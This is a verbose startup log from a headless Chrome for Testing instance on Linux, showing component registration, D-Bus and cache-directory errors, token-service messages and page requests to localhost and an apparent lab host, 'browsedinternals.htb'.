[2385:2385:0309/174909.407118:VERBOSE1:component_installer.cc(560)] FinishRegistration for MEI Preload
[2385:2385:0309/174909.407131:VERBOSE1:component_installer.cc(601)] Component ready, version 1.0.7.1652906823 in /opt/chrome-linux64/MEIPreload
[2385:2385:0309/174909.407212:VERBOSE1:component_installer.cc(560)] FinishRegistration for Hyphenation
[2385:2385:0309/174909.407260:VERBOSE1:component_installer.cc(601)] Component ready, version 1.0.0.0 in /opt/chrome-linux64/hyphen-data
[2385:2385:0309/174909.407270:VERBOSE1:hyphenation_component_installer.cc(110)] Hyphenation Component ready, version 1.0.0.0 in /opt/chrome-linux64/hyphen-data
[2385:2385:0309/174909.407305:VERBOSE1:component_installer.cc(560)] FinishRegistration for Third-Party Cookie Deprecation Metadata
[2385:2385:0309/174909.407325:VERBOSE1:component_installer.cc(560)] FinishRegistration for Cookie Readiness List
[2385:2385:0309/174909.407342:VERBOSE1:component_installer.cc(560)] FinishRegistration for Plus Address Blocklist
[2385:2385:0309/174909.407358:VERBOSE1:component_installer.cc(560)] FinishRegistration for Open Cookie Database
[2385:2385:0309/174909.407375:VERBOSE1:component_installer.cc(560)] FinishRegistration for Amount Extraction Heuristic Regexes
[2385:2385:0309/174909.421026:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2385:2385:0309/174909.421060:VERBOSE1:idle_linux.cc(129)] org.freedesktop.ScreenSaver D-Bus service does not exist
[2385:2396:0309/174909.421223:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174909.443169:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2385:2479:0309/174909.446469:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.freedesktop.UPower"

[2385:2479:0309/174909.447265:VERBOSE1:bus.cc(700)] Filter function already exists: 1 with associated data: 0x114401186300
[2385:2479:0309/174909.447373:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.freedesktop.UPower"

[2385:2479:0309/174909.460043:VERBOSE1:bus.cc(721)] Requested to remove an unknown filter function: 1 with associated data: 0x114401186220
[2385:2479:0309/174909.460078:VERBOSE1:bus.cc(721)] Requested to remove an unknown filter function: 1 with associated data: 0x114401186140
[2415:2418:0309/174909.476686:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data
[2415:2418:0309/174909.476835:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data/index": No such file or directory (2)
[2415:2418:0309/174909.476945:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data/index-dir": No such file or directory (2)
[2415:2418:0309/174909.476983:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data/the-real-index": No such file or directory (2)
[2415:2418:0309/174909.477198:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data
[2415:2418:0309/174909.477243:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data
[2385:2396:0309/174909.479827:VERBOSE1:token_service_table.cc(202)] Loaded tokens: result = 3 ; number of tokens loaded = 0
[2385:2385:0309/174909.480709:VERBOSE1:privacy_sandbox_attestations.cc(411)] Parsed Privacy Sandbox Attestation list version: 2025.1.31.0
[2385:2385:0309/174909.480731:VERBOSE1:privacy_sandbox_attestations.cc(413)] Number of attestation entries: 259
[2385:2385:0309/174909.481833:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2385:2385:0309/174909.481855:VERBOSE1:idle_linux.cc(129)] org.cinnamon.ScreenSaver D-Bus service does not exist
[2415:2418:0309/174909.482526:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_000": No such file or directory (2)
[2415:2418:0309/174909.482587:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_001": No such file or directory (2)
[2415:2418:0309/174909.482615:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_002": No such file or directory (2)
[2415:2418:0309/174909.482641:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_003": No such file or directory (2)
[2415:2418:0309/174909.482666:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_004": No such file or directory (2)
[2415:2418:0309/174909.482691:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_005": No such file or directory (2)
[2415:2418:0309/174909.482716:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_006": No such file or directory (2)
[2415:2418:0309/174909.482741:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_007": No such file or directory (2)
[2415:2418:0309/174909.482766:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_008": No such file or directory (2)
[2415:2418:0309/174909.482791:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_009": No such file or directory (2)
[2415:2418:0309/174909.482816:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_010": No such file or directory (2)
[2415:2418:0309/174909.482841:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_011": No such file or directory (2)
[2415:2418:0309/174909.482867:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_012": No such file or directory (2)
[2415:2418:0309/174909.482892:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_013": No such file or directory (2)
[2415:2418:0309/174909.482917:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_014": No such file or directory (2)
[2415:2418:0309/174909.482942:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_015": No such file or directory (2)
[2415:2418:0309/174909.482967:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_016": No such file or directory (2)
[2415:2418:0309/174909.482992:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_017": No such file or directory (2)
[2415:2418:0309/174909.483017:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_018": No such file or directory (2)
[2415:2418:0309/174909.483042:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_019": No such file or directory (2)
[2415:2418:0309/174909.483067:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_020": No such file or directory (2)
[2415:2418:0309/174909.483092:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_021": No such file or directory (2)
[2415:2418:0309/174909.483116:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_022": No such file or directory (2)
[2415:2418:0309/174909.483144:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_023": No such file or directory (2)
[2415:2418:0309/174909.483185:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_024": No such file or directory (2)
[2415:2418:0309/174909.483210:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_025": No such file or directory (2)
[2415:2418:0309/174909.483236:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_026": No such file or directory (2)
[2415:2418:0309/174909.483261:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_027": No such file or directory (2)
[2415:2418:0309/174909.483286:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_028": No such file or directory (2)
[2415:2418:0309/174909.483311:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_029": No such file or directory (2)
[2415:2418:0309/174909.483336:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_030": No such file or directory (2)
[2415:2418:0309/174909.483361:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_031": No such file or directory (2)
[2415:2418:0309/174909.483385:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_032": No such file or directory (2)
[2415:2418:0309/174909.483410:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_033": No such file or directory (2)
[2415:2418:0309/174909.483435:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_034": No such file or directory (2)
[2415:2418:0309/174909.483460:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_035": No such file or directory (2)
[2415:2418:0309/174909.483485:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_036": No such file or directory (2)
[2415:2418:0309/174909.483510:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_037": No such file or directory (2)
[2415:2418:0309/174909.483535:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_038": No such file or directory (2)
[2415:2418:0309/174909.483560:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_039": No such file or directory (2)
[2415:2418:0309/174909.483596:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_040": No such file or directory (2)
[2415:2418:0309/174909.483621:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_041": No such file or directory (2)
[2415:2418:0309/174909.483646:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_042": No such file or directory (2)
[2415:2418:0309/174909.483671:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_043": No such file or directory (2)
[2415:2418:0309/174909.483696:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_044": No such file or directory (2)
[2415:2418:0309/174909.483723:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_045": No such file or directory (2)
[2415:2418:0309/174909.483748:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_046": No such file or directory (2)
[2415:2418:0309/174909.483773:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_047": No such file or directory (2)
[2415:2418:0309/174909.483797:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_048": No such file or directory (2)
[2415:2418:0309/174909.483822:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_049": No such file or directory (2)
[2415:2418:0309/174909.483847:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_050": No such file or directory (2)
[2415:2418:0309/174909.483872:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_051": No such file or directory (2)
[2415:2418:0309/174909.483896:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_052": No such file or directory (2)
[2415:2418:0309/174909.483921:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_053": No such file or directory (2)
[2415:2418:0309/174909.483946:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_054": No such file or directory (2)
[2415:2420:0309/174909.484847:ERROR:disk_cache.cc(216)] Unable to create cache
[2385:2397:0309/174909.485600:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2415:2418:0309/174909.486203:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_055": No such file or directory (2)
[2415:2418:0309/174909.486314:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_056": No such file or directory (2)
[2415:2418:0309/174909.486382:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_057": No such file or directory (2)
[2415:2418:0309/174909.486511:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_058": No such file or directory (2)
[2415:2418:0309/174909.486586:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_059": No such file or directory (2)
[2415:2418:0309/174909.486654:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_060": No such file or directory (2)
[2415:2418:0309/174909.487112:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_061": No such file or directory (2)
[2415:2418:0309/174909.487245:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_062": No such file or directory (2)
[2415:2418:0309/174909.487322:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_063": No such file or directory (2)
[2415:2418:0309/174909.487438:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_064": No such file or directory (2)
[2415:2418:0309/174909.487514:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_065": No such file or directory (2)
[2415:2418:0309/174909.487586:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_066": No such file or directory (2)
[2415:2418:0309/174909.487686:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_067": No such file or directory (2)
[2415:2418:0309/174909.487722:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_068": No such file or directory (2)
[2415:2418:0309/174909.487745:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_069": No such file or directory (2)
[2415:2418:0309/174909.487773:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_070": No such file or directory (2)
[2415:2418:0309/174909.488405:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_071": No such file or directory (2)
[2415:2418:0309/174909.488487:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_072": No such file or directory (2)
[2415:2418:0309/174909.488520:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_073": No such file or directory (2)
[2415:2418:0309/174909.488544:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_074": No such file or directory (2)
[2415:2418:0309/174909.488565:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_075": No such file or directory (2)
[2415:2418:0309/174909.488589:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_076": No such file or directory (2)
[2415:2418:0309/174909.488607:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_077": No such file or directory (2)
[2415:2418:0309/174909.488625:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_078": No such file or directory (2)
[2415:2418:0309/174909.488651:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_079": No such file or directory (2)
[2415:2418:0309/174909.488673:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_080": No such file or directory (2)
[2415:2418:0309/174909.488698:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_081": No such file or directory (2)
[2415:2418:0309/174909.488717:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_082": No such file or directory (2)
[2415:2418:0309/174909.488734:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_083": No such file or directory (2)
[2415:2418:0309/174909.488751:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_084": No such file or directory (2)
[2415:2418:0309/174909.488776:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_085": No such file or directory (2)
[2415:2418:0309/174909.488803:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_086": No such file or directory (2)
[2415:2418:0309/174909.488825:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_087": No such file or directory (2)
[2415:2418:0309/174909.488915:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_088": No such file or directory (2)
[2415:2418:0309/174909.488995:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_089": No such file or directory (2)
[2415:2418:0309/174909.489092:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_090": No such file or directory (2)
[2415:2418:0309/174909.489182:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_091": No such file or directory (2)
[2415:2418:0309/174909.489262:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_092": No such file or directory (2)
[2415:2418:0309/174909.489328:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_093": No such file or directory (2)
[2415:2418:0309/174909.489394:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_094": No such file or directory (2)
[2415:2418:0309/174909.489462:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_095": No such file or directory (2)
[2415:2418:0309/174909.489527:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_096": No such file or directory (2)
[2415:2418:0309/174909.489601:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_097": No such file or directory (2)
[2415:2418:0309/174909.491210:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_098": No such file or directory (2)
[2415:2418:0309/174909.491250:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_099": No such file or directory (2)
[2385:2385:0309/174909.511081:VERBOSE1:partitioned_lock_manager.cc(212)] Acquiring <PartitionedLockId>{id: 0x31, partition: 0} for Start@chrome/browser/web_applications/generated_icon_fix_manager.cc:58
[2385:2385:0309/174909.512378:VERBOSE1:partitioned_lock_manager.cc(194)] All locks acquired for Start@chrome/browser/web_applications/generated_icon_fix_manager.cc:58
[2385:2385:0309/174909.523974:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(520)] MutablePO2TS::OnWebDataServiceRequestDone. Result type: 5
[2385:2385:0309/174909.524081:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(580)] MutablePO2TS::LoadAllCredentialsIntoMemory; 0 credential(s).
[2385:2385:0309/174909.526820:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.526878:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.526902:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.526911:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.528067:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.530100:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.530129:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.530272:VERBOSE1:account_reconcilor.cc(404)] AccountReconcilor::OnEndBatchOfRefreshTokenStateChanges. Reconcilor state: 1
[2385:2385:0309/174909.539637:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2385:2385:0309/174909.539658:VERBOSE1:idle_linux.cc(129)] org.gnome.ScreenSaver D-Bus service does not exist
[2385:2397:0309/174909.539954:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174909.548012:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Session.TotalDuration
[2385:2385:0309/174909.548033:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Commerce.PriceDrops.ActiveTabNavigationComplete.IsProductDetailPage
[2385:2385:0309/174909.548042:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing Autofill_PolledCreditCardSuggestions
[2385:2385:0309/174909.548050:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing IOS.ParcelTracking.Tracked.AutoTrack
[2385:2385:0309/174909.548057:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Omnibox.SuggestionUsed.ClientSummarizedResultType
[2385:2385:0309/174909.548069:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing MetadataWriter
[2385:2385:0309/174909.548077:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2
[2385:2385:0309/174909.548084:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2.Phone
[2385:2385:0309/174909.548091:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2.Desktop
[2385:2385:0309/174909.548099:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2.Tablet
[2385:2385:0309/174909.548107:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing MobileBookmarkManagerOpen
[2385:2385:0309/174909.548115:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing NewTabPage.MostVisited.Clicked
[2385:2385:0309/174909.548122:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing TabGroup.Created.OpenInNewTab
[2385:2385:0309/174909.548130:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing Android.HistoryPage.OpenItem
[2385:2385:0309/174909.548137:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing MobileMenuRecentTabs
[2385:2385:0309/174909.548144:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.ManagePasswordsReferrer
[2385:2385:0309/174909.548165:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.ProfileStore.TotalAccountsHiRes3.WithScheme.Https
[2385:2385:0309/174909.548172:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.FillingAssistance
[2385:2385:0309/174909.548179:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.SavedPasswordIsGenerated
[2385:2385:0309/174909.548187:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.SaveUIDismissalReason
[2385:2385:0309/174909.548194:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.SaveUIDismissalReason
[2385:2385:0309/174909.548201:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing IOS.CredentialExtension.IsEnabled.Startup
[2385:2385:0309/174909.554077:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.567644:VERBOSE1:partitioned_lock_manager.cc(236)] Releasing <PartitionedLockId>{id: 0x31, partition: 0} requested by Start@chrome/browser/web_applications/generated_icon_fix_manager.cc:58
[2385:2385:0309/174909.578017:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2385:2385:0309/174909.578045:VERBOSE1:idle_linux.cc(129)] org.mate.ScreenSaver D-Bus service does not exist
[2385:2396:0309/174909.578167:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174909.583662:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2385:2385:0309/174909.583695:VERBOSE1:idle_linux.cc(129)] org.xfce.ScreenSaver D-Bus service does not exist
[2385:2385:0309/174909.583708:WARNING:idle_linux.cc(110)] None of the known D-Bus ScreenSaver services could be used.
[2415:2420:0309/174909.612925:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/css/main.css
[2415:2420:0309/174909.616288:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/index.css?v=1.24.5
